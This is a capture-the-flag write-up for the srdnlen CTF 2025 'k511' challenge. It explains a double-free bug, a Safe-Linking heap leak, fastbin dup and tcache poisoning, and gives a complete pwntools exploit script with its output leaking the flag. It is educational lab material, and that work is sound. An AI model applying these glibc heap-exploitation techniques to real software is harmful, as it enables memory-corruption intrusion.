srdnlen CTF 2025 - k511 writeup

Writeup on k511 challenge from srdnlen CTF 2025.


Preambule

This writeup will not deep dive into malloc internals. If you’re not familiar with those, I strongly recommend reading resources as Understanding the GLIBC Heap Implementation Part 1 and Part 2 first.

It is a heap-based exploit, leveraging a double-free vulnerability into fastbin dup and tcache poisoning. I discovered while solving this challenge a way to achieve tcache poisoning without a use-after-free primitive, thanks to a fastbin optimization feature.

Libc binary isn’t provided thus its version isn’t known.

Binary analysis

Ghidra generated pseudo code

Finding a primitive

int main(void)
{
  ...
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  storage = calloc(0x10,8);
  ...
  implant_core_memory(storage);
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          puts("1) Create new memory\n"
                "2) Recollect memory\n"
                "3) Erase memory\n"
                "4) Quit.\n");
                
          __isoc99_scanf(&fmt_int, &choice);
          getchar();
          if (choice != 1) break;
          implant_user_memory(storage);
        }
        if (choice != 2) break;
        index = collect_num(1, 0x10);
        recall_memory(storage, index);
      }
      if (choice != 3) break;
      index = collect_num(1, 0x10);
      erase_memory(storage, index);
    }
    if (choice == 4) break;
    puts("Sorry, try again.");
  }
  ...
}

k511.elf exposes 3 features on a 16 * 8 bytes calloc‘ed memory area:

  • implant_user_memory: allocate a chunk and store it in the first available (=empty) slot
  • recall_memory: show chunk content at desired index if no empty slot between storage’s start and chunk at index
  • erase_memory: free() chunk at desired index, but without systematically null out the freed pointer:
void erase_memory(long storage, uint at)
{
  uint index;
  
  
  free(storage + at * 8);                           // [1]
  index = 0;
  while( true ) {
    if (at < index) {
      puts("Ran out of memory.");
      return;
    }
    if (*(long *)(storage + index * 8) == 0) break; // [2]
    if (at == index) {                              // [3]
      *(long *)(storage + index * 8) = 0;           // [4]
      printf("Erased at slot %d",(ulong)index);
      return;
    }
    index = index + 1;
  }
  puts("There\'s a hole in your memory somewhere...");
  return;
}

[1] Pointer at offset will always be passed to free() without check but [2] if an empty slot is encountered before the slot we just freed [3] program will never reach this condition and [4] therefore will never null out the pointer.

Here is the double-free primitive we’ll leverage to exploit this binary.

Target

First slot of storage is init in implant_core_memory() and contains the flag:

  buffer = malloc(0x40);
  flag = getenv("FLAG");
  snprintf(buffer, 0x40, "%s", flag);
  add_mem_to_record(storage, buffer);

Then our goal isn’t to get a remote code execution, but to find a way to leak the content of this first chunk.

So why couldn’t we call recall_memory() on slot at offset 0 ? Because collect_num() forces index to be contained in [1, 15] range:

int collect_num(char check_num, int max)
{
  // ...
  scanf(&fmt_int, &index);
  getchar();
  if (check_num != 0 && (index == 0 || max <= index)) {
    puts("You cannot select that.");
    exit(0);
  }
  // ...
  return index;
}

Exploitation

Thanks to the double-free vulnerability, we are going to build an exploit chain to allocate a chunk over storage, write flag’s chunk address to a slot at offset > 0 then read it with recall_memory().

Setup

Challenge is hosted on a remote server, stdin/stdout/stderr piped to a TCP socket.

Here is first lines of the exploit script with implemented functions to communicate with the program:

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = context.binary = ELF("./k511.elf", checksec=False)

CHALL_ENV = {'FLAG': 'Z' * 32}


def start():
	gs = '''
    continue
    '''
	if args.GDB:
		return gdb.debug(elf.path, gdbscript=gs, env=CHALL_ENV)
	if args.REMOTE:
		return remote('k511.challs.srdnlen.it', 1660)
	return process(elf.path, env=CHALL_ENV)


def alloc(buffer):
	io.sendline(b'1')
	io.sendlineafter(b'Input your memory (max 64 chars).', buffer)
	io.recvuntil(b'Memorized in slot ')
	return int(io.recvuntil(b'.', drop=True))


def show(at):
	io.sendline(b'2')
	io.sendlineafter(b'Select the number you require.', bytes(str(at), 'ascii'))
	io.recvuntil(b'"')
	return io.recvuntil(b'"', drop=True)


def free(at):
	io.sendline(b'3')
	io.sendlineafter(b'Select the number you require.', bytes(str(at), 'ascii'))

Heap leak

To leak a heap address, we are going to exploit the vulnerability in erase_memory(). If a chunk located after an empty slot is freed, its pointer isn’t set to null in storage:

Scenario 1: Across columns

We succeed to keep a freed pointer in storage (chunk 2), but we can’t read it yet as there is now an empty slot just before the freed slot.

Next allocation will fill the empty slot with the previously freed chunk. Freeing 3rd slot will allow us to read the freed chunk metadata in slot 2.

Scenario 1: Across columns

Calling recall_memory() on 2nd slot will leak the mangled fd pointer of the first 0x30’s tcache bin.

io = start()

for i in range(4):
	alloc(b'A' * 32)

free(1)          # create empty slot
free(2)          # free without removing ptr from `storage`
alloc(b'B' * 32) # allocate new chunk, ends up in 1st slot 
                 # slot 1 and 2 now share the same ptr 
alloc(b'C' * 32)

free(2)          # free 2nd slot
                 # 1st slot contains a freed ptr
mangled_ptr = u64(show(1).ljust(8, b'\x00'))
log.info(f'Leaked mangled pointer: {hex(mangled_ptr)}')

heap_base = mangled_ptr << 12
log.success(f'Heap base: {hex(heap_base)}')
(venv) ➜  k511 python exploit.py REMOTE
[+] Opening connection to k511.challs.srdnlen.it on port 1660: Done
[*] Leaked mangled pointer: 0x563a72ded
[+] Heap base: 0x563a72ded000

Safe-Linking mitigation has been introduced with glibc 2.32. Pointers in fast and tcache bins are now encrypted (=mangled), which prevents exploitation without heap leak. Read more on Safe-Linking bypass here.

Fastbin dup to tcache poisoning

Now we successfully leaked heap base address, we are able to bypass Safe-Linking.

The strategy from now on is to insert a fake chunk into a free bin. To do so we need to overwrite fd pointer of a free chunk. As the program doesn’t allow us to edit chunks, we can achieve a free chunk pointer override by upgrading the double-free vulnerability into a use-after-free.

Double-free is impossible on tcache since 2.29 as it compares the chunk being freed to every chunks present in the bin:

# malloc/malloc.c#L4209

if (__glibc_unlikely (e->key == tcache))
  {
    tcache_entry *tmp;
    // ...
    for (tmp = tcache->entries[tc_idx];
	     tmp;
	     tmp = REVEAL_PTR (tmp->next))
      {
        // ...
        if (tmp == e)
	      malloc_printerr ("free(): double free detected in tcache 2");
        // ...
      }
  }

source code

If the chunk is found in the bin, free() aborts.

This is not the case on fastbins, where the only double free check is rudimentary, as it checks if the chunk being free is the same as the top fastbin chunk:

# malloc/malloc.c#L4288

fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
mchunkptr old = *fb;
// ...
/* Check that the top of the bin is not the record we are going to
   add (i.e., double free).  */
if (__builtin_expect (old == p, 0))
  malloc_printerr ("double free or corruption (fasttop)");

source code

By allocating 2 chunks, and freeing the 1st one, the 2nd and then the 1st one again will put the first chunk twice in the fastbin: Scenario 1: Across columns

When allocating A chunk, we can modify fd pointer of the free chunk pointed by chunk B, as chunk A is both allocated and in the fastbin.

Read more about fastbin dup here.

# needed fo fastbin dup
a = alloc(b'A' * (0x20 - 9))
b = alloc(b'B' * (0x20 - 9))
c = alloc(b'C' * (0x20 - 9))

# fill tcache so `a`, `b` and `c` ends up in fastbin
# instead of tcache
indexes = [alloc(b'A' * (0x20 - 9)) for _ in range(7)]
# free backwards to avoid empty slots
indexes.reverse()
[free(index) for index in indexes]

free(a)
free(b)
free(c)
free(b)
# fastbin now looks like b -> c -> b

We are now able to insert an arbitrary fd pointer into a free bin, thus inserting a fake chunk. But in which list?

We could target fastbin, but it requires fake chunk to have valid metadata, especially to pass this check in malloc():

# malloc/malloc.c#L3618
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
    malloc_printerr ("malloc(): memory corruption (fast)");

source code

Instead, tcache poisoning seems to be a quick win as the only requirement is the chunk ptr to be aligned on a multiple of 16:

# malloc/malloc.c#L3631

while (tcache->counts[tc_idx] < mp_.tcache_count
    && (tc_victim = *fb) != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
	    malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
	}

source code

How to pivot from our chunk with control over fd pointer in fastbin to tcache bin ?

When requesting a chunk from malloc() and malloc() serves it from a fastbin, it also checks if it couldn’t move other fastbin chunks of the same size to a tcache bin:

# malloc/malloc.c#L3622

#if USE_TCACHE
     /* While we're here, if we see other chunks of the same size,
	stash them in the tcache.  */
    size_t tc_idx = csize2tidx (nb); // `nb` == requested size
    if (tcache && tc_idx < mp_.tcache_bins)
	  {
	  mchunkptr tc_victim;

	  /* While bin not empty and tcache not full, copy chunks.  */
	  while (tcache->counts[tc_idx] < mp_.tcache_count
		 && (tc_victim = *fb) != NULL)
	    {
	      ...
		  *fb = REVEAL_PTR (tc_victim->fd);
	      tcache_put (tc_victim, tc_idx);
	    }
	}
#endif

source code

We can use this optimization mechanism to move our duplicated chunk from fastbin to tcache bin:

FLAG_LOCATION = heap_base + 0x330
FAKE_CHUNK = FLAG_LOCATION - 0x20

# fastbin state: B -> C -> B
# empty tcache, so next `malloc()` will move fastbins to tcache
for _ in range(7):
	alloc(b'X' * (0x20 - 9))

alloc(p64(FAKE_CHUNK ^ (heap_base >> 12)))
# fastbin state: empty
# tcache state: B -> C -> FAKE_CHUNK

With this fake chunk overlapping with storage, we can overwrite slots pointers to put flag pointer at another offset than 0:

# Chunk B
alloc(b'1' * (0x20 - 9))
# Chunk C
alloc(b'2' * (0x20 - 9))
# Fake chunk, override slot 14 with flag pointer
alloc(p64(FLAG_LOCATION))

io.sendline(b'2')
io.sendlineafter(b'Select the number you require.', b'14')
print(io.clean())
# ... srdnlen{my_heap_has_already_grown_this_large_1994ab0a77f8355a} ...

Many thanks to @zoop for this challenge !